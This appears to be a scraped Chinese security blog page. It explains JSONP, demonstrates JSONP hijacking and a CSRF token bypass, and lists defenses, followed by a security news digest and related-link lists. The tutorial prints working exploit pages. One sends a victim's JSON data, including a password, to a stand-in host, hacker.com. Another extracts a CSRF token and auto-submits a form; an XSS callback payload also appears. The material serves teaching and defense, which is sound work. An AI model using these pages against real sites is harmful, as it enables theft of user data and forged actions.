安全风险是动态

JSONP介绍
说起跨域请求资源的方法，最常见的方法是JSONP/CORS。下面以具体的例子介绍一下JSONP的工作原理。
JSONP全称是JSON with Padding ，是基于JSON格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里  元素标签没有跨域限制
JSONP原理就是动态插入带有跨域url的script标签，然后调用回调函数，把我们需要的json数据作为参数传入，通过一些逻辑把数据显示在页面上。
比如通过script访问http://www.test.com/index.html?jsonpcallback=callback, 执行完script后，会调用callback函数，参数就是获取到的数据。
原理很简单，在本地复现一下，首先新建callback.php:
<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>
然后新建test.html:
<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>
我们访问test.html，页面会执行script，请求http://localhost/callback.php?callback=hehehe，然后将请求的内容作为参数，执行hehehe函数，hehehe函数将请求的内容alert出来。最终的结果如下
这样我们就实现了通过js操作跨域请求到的资源，绕过了同源策略。
但是伴随着业务的发展总会出现安全问题，JSONP使用不当也会造成很多安全问题。
JSONP劫持
对于JSONP传输数据，正常的业务是用户在B域名下请求A域名下的数据，然后进行进一步操作。
但是对A域名的请求一般都需要身份验证，hacker怎么去获取到这些信息呢，我们可以自己构造一个页面，然后诱惑用户去点击，在这个页面里，我们去请求A域名资源，然后回调函数将请求到的资源发回到hacker服务器上。
没错JSONP劫持属于CSRF漏洞，步骤大概如下图(来自参考文章1)所示：
利用代码如下所示：
<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    var myForm = document.createElement("form");
    myForm.action="http://hacker.com/redirect.php";
    myForm.method = "GET";  
    for ( var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=hehehe"></script>
</body>
</html>
诱惑用户访问此html，会以用户的身份访问http://localhost/callback.php?callback=hehehe,拿到敏感数据，然后执行hehehe函数，将数据发送给http://hacker.com/redirect.php。抓包可以拦截到如下请求包：
GET /redirect.php?customername1=user1&password=12345678 HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.133.136.120/test.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
hacker只需要在redirect.php里，将数据保存下来，然后重定向到http://baidu.com，堪称一次完美的JSONP劫持。
利用JSONP绕过token防护进行csrf攻击
具体的实例可以看看参考文章2，3。
通过上面例子，我们知道JSONP可以获取敏感的数据，在某些情况下，还可以利用JSONP劫持绕过token限制完成csrf攻击。
假设有个场景是这样：服务端判断接收到的请求包，如果含有callback参数就返回JSONP格式的数据，否则返回正常页面。代码如下：test.php
<!-- callback.php -->

<?php
    header('Content-type: application/json');
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    if(isset($_GET["callback"])){
        $callback = $_GET["callback"];
        //如果含有callback参数，输出jsonp格式的数据
        echo $callback . "(" . $json_data . ")";
    }else{
        echo $json_data;
    }
?>
对于场景，如果存在JSONP劫持劫持，我们就可以获取到页面中的内容，提取出csrf_token，然后提交表单，造成csrf漏洞。示例利用代码如下(来自参考文章2)：
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<div id="test"></div>
<script type="text/javascript">
function test(obj){
    // 获取对象中的属性值
    var content = obj['html']
    // 正则匹配出参数值
    var token=content.match('token = "(.*?)"')[1];
    // 添加表单节点
    var parent=document.getElementById("test");
    var child=document.createElement("form");
    child.method="POST";
    child.action="http://vuln.com/del.html";
    child.id="test1"
    parent.appendChild(child);
    var parent_1=document.getElementById("test1");
    var child_1=document.createElement("input");
    child_1.type="hidden";child_1.name="token";child_1.value=token;
    var child_2=document.createElement("input");
    child_2.type="submit";
    parent_1.appendChild(child_1);
    parent_1.appendChild(child_2);
}
</script>
<script type="text/javascript" src="http://vuln.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>
htmlcallback返回一个对象obj，以该对象作为参数传入test函数，操作对象中属性名为html的值，正则匹配出token，再加入表单，自动提交表单完成操作，用户点击该攻击页面即收到csrf攻击。
JSONP劫持挖掘与防御
对于漏洞挖掘，我们首先需要尽可能的找到所有的接口，尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等，也可以加上callback参数，观察返回值是否变化)。
找到接口之后，还需要返回值包含敏感信息，并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上，如果接口存在refer的限制，也是有可能被绕过的，计划以后的文章中再说)
对于JSONP劫持的防御，其实类似于csrf的防御。以下来源于参考文章4:
限制来源refer
按照JSON格式标准输出（设置Content-Type : application/json; charset=utf-8），预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
过滤callback函数名以及JSON数据输出，预防xss
参考
JSONP 劫持原理与挖掘方法
JSONP绕过CSRF防护token
分享一个jsonp劫持造成的新浪某社区CSRF蠕虫
JSONP 安全攻防技术

收起

54ec4a3d3e7777032035de0b46e35102993813df

【金融行业安全动态】JP摩根大通首次承认加密货币是“风险”

概要：在周二下午发布的JP摩根大通年度报告中，该银行首次将比特币和以太坊等加密货币列为其业务面临的“风险因素”，承认数字货币是新的竞争形式，实际上会与这家银行激烈竞争。

该银行在报告中写道：“金融机构和非银行竞争对手都面临一个风险，那就是支付处理和其他服务可能会被诸如加密货币之类不需要中介的技术所颠覆。”

该银行补充道，新技术已经要求该公司投入资金，调整或修改产品以吸引和留住客户，并与来自科技新兴公司的新产品展开竞争，预计这个趋势会持续下去。报告称：“持续或加剧的竞争可能会给JP摩根大通的产品和服务的价格和费用带来下行压力，或者导致JP摩根大通失去市场份额。”

在这家银行披露报告前，竞争对手美国银行上周在自己的年度报告中也有过类似的承认。在那份提交的报告中，美国银行特别强调了这个潜在的风险：客户们转向“在我们认为投机性或高风险的领域（比如加密货币）”提供产品和服务的竞争对手。

JP摩根大通的发言人拒绝评论该公司为何现在决定将加密货币列入其面临的风险因素。不过这家银行已越来越认识到了区块链技术和基于该技术的加密货币具有的颠覆性力量，该银行已成为率先倡导自行开发基于以太坊的区块链的金融机构之一。比如本月早些时候，JP摩根大通的区块链项目负责人奥马尔•法鲁克（Umar Farooq）向外界介绍了这家银行内部在如何迅速积极地采用这项技术。（来源：云头条）

【金融行业安全动态】比特大陆利润或赶超英伟达

概要：伯恩斯坦（Bernstein）的分析师估算，比特大陆（Bitmain）正成为比特币“挖矿”行业的领军企业，而且去年的营业利润或与美国芯片巨头英伟达持平。分析师计算后认为，按照 75％的毛利率和 65％的经营利润率的保守估计，比特大陆在 2017 年的营业利润为 30 亿美元至 40 亿美元。则英伟达公司同期的营业利润可为 30 亿美元，实现了英伟达24年的目标。（来源：新智元）

概要：美国CERT给出的受影响范围较大，涉及15家主流安全厂商和CSP。攻击者利用SAML漏洞无须知道受害者密码，就可以通过他的账户验证。该漏洞关联到6个CVE ID，目前影响5个供应商。美国CERT发出预警通告。阿里云未用SAML，不受影响。（来源：安全+）。

【相关安全事件】独家技术分析：新型勒索病毒MindLost

概要：阿里云安全团队分析后发现，该病毒运行后会”隐藏”自己，然后后台加密采用随机秘钥的128位的aes算法，加密样本账户的电脑的Users目录下的文件，如果后缀为".txt",".jpg",".png",".pdf",".mp4",".mp3",".c",".py"的文件就直接加密，且解密赎金达到200美元。

点评：目前，阿里云安全团队总共获取到Mindlost的6个样本文件，通过时间戳分析，最早编译时间在2018.01.15, 此时的样本并未做代码混淆。

在2018.01.25编译的版本中，已经对代码做了混淆。但所有样本都包含调试信息，其中较为敏感的是pdb文件路径”

/Users/danielohayon/Documents/Mindlost/Mindlost/Mindlost/Encryptor/obj/Debug/Encryptor.pdb”，Mindlost的名字也是来自于此，路径中还包含了样本账户名danielohayon，由此猜测该勒索病毒还在开发中，就被已各安全人员发现。

当然，也不排除作者故意留下关键路径迷惑大家。

像这样的勒索软件样本，阿里云安全团队每天都会处理很多，大多都能通过及时的预警，病毒库与防御规则更新，将其在云上的影响降至最低。截至2月3日，阿里云平台客户不受MindLost勒索软件影响。

补充阅读：

阿里云安全团队建议：https://yq.aliyun.com/articles/427148?spm=a2c4e.11155435.0.0.1ba8a9dbcPcizn

加密勒索病毒处理方案 https://help.aliyun.com/knowledge_detail/50358.html

加密勒索事件防护方案 https://help.aliyun.com/knowledge_detail/48701.html

【云上视角】医院成黑客勒索重灾区阿里云表示：愿为医疗机构提供安全公益排查支持

概要：近年来，随着医院信息化建设力度的加大，医院的信息安全问题也成为业界关注的焦点。我国的医院信息化安全建设主要存在三大误区：

第一就是误认为医院网络通常是隔离的内网，不会有安全问题，因此不注重安全建设；

第二是头痛医头，脚痛医脚的安全建设思路，哪儿出了问题补哪儿，不注重体系化和纵深防御；

第三是以静态的观念去搞安全建设，买了一堆的盒子设备，却不注重安全运营。因而造成医院的信息系统防护能力偏弱，同时医疗机构工作人员网络安全意识薄弱，因此容易成为黑客攻击勒索的对象。

点评：阿里云安全事业部总经理肖力认为，虚拟货币的匿名性和价格持续高涨，提高了追踪难度，也让更多黑客愿意铤而走险，变种的勒索软件还会长期持续存在，攻击事件会越来越多。

信息时代技术更替交叠，变化非常快，一个勒索病毒可能24小时之后就会发生你想象不到的变化或者说时间会更短，或许今天这件事是因为这个病毒，可能下一次是另一个病毒或者是其他系统漏洞带来的未可知的威胁，但是其最终迫害力是类似的。欢迎对云上安全排查有需求的机构在阿里云安全产业扶助计划（https://security.aliyun.com/grow）申请，我们会审核评估之后，提供免费安全检测、技术咨询等服务。

快来阿里云新年采购季限时优惠（点击直接进入会场）

9大实用安全产品，助力企业快速优化安全效果。

把好第一道ROI关卡，让企业安全在2018年全面升级。

今天，从这里开始！

订阅 NEWS FROM THE LAB

029307c2bf99a126e3c7d4b050286cfed9f71a06

扫码参与全球安全资讯精选

读者调研反馈

电信网的安全风险评估研究

论文研究-安全措施延迟对信息安全风险的影响研究.pdf

黑产狂欢季，谁来拯救电商的业务风险？看动态安全出奇制胜！

煤矿事故风险动态管控技术研究与应用

信息安全测评或网络安全风险评估的一般方法和流程自主学习报告

安全风险管理办法2020最新版.doc

煤矿安全风险预控管理体系在上湾煤矿的应用

我们该怎么对用电安全风险进行识别？_精选.doc

论文研究-基于安全风险等级的港口危化品监管问题研究.pdf

论文研究 - 基于动态贝叶斯网络的海上风电场风险评估与对策

互联网社交应用存在哪些内容安全风险？如何解决？

互联网社交应用存在哪些内容安全风险？如何解决？

jsonp react 获取返回值_jsonp介绍及其安全风险

JSONP介绍

JSONP劫持

利用JSONP绕过token防护进行csrf攻击

JSONP劫持挖掘与防御

参考

Android安全/应用逆向--28--使用IDA动态调试.so文件

7-5、使用IDA动态调试.so文件

一、应用体系架构：动态分析分析什么？

一、架设调试桥

二、部署安卓

三、部署IDA（此时打开IDA就行，点击“go”，不要添加任何东西）

四、开始调试

五、调试WebViewApp

金融安全资讯精选 2018年第七期：JP摩根大通首次承认加密货币是“风险”，比特大陆利润或赶超英伟达，...

什么是动态ip服务器，以及它如何工作？

金融安全资讯精选 2018年第四期：百万亿智能金融市场的风口与风险，MySQL最新安全漏洞快讯，从存储角度对比...

刷脸支付安全隐患引人深思，声纹识别“动态”优势凸显

游戏安全资讯精选 2017年 第六期：Akamai报告称游戏是流量型攻击的主要受害者，英国二手游戏经销商CeX漏洞...

云计算安全体系

安全运营网络安全有效分析-计算机网络论文-计算机论文.docx

等级保护基线安全检查_网络安全检查表_V3.3.xls

等级保护基线安全检查_中间件安全检查表_V3.3.xlsx

等级保护基线安全检查_数据库安全检查表_V3.3.xls

信息安全规划指导

重新应用默认的安全设置 : 安全配置和分析

基于知识发现的风险最小化授权模型

动态展开所有_库存与市场需求之间如何“动态”共舞？库存计划动态模型构建分享...

投资误区大盘点，风险低不等于零风险

安全风险是动态

`一、应用体系架构：动态分析分析什么？`

`一、架设调试桥`

`二、部署安卓`

`三、部署IDA（此时打开IDA就行，点击“go”，不要添加任何东西）`

`四、开始调试`

`五、调试WebViewApp`

游戏安全资讯精选 2017年第六期：Akamai报告称游戏是流量型攻击的主要受害者，英国二手游戏经销商CeX漏洞...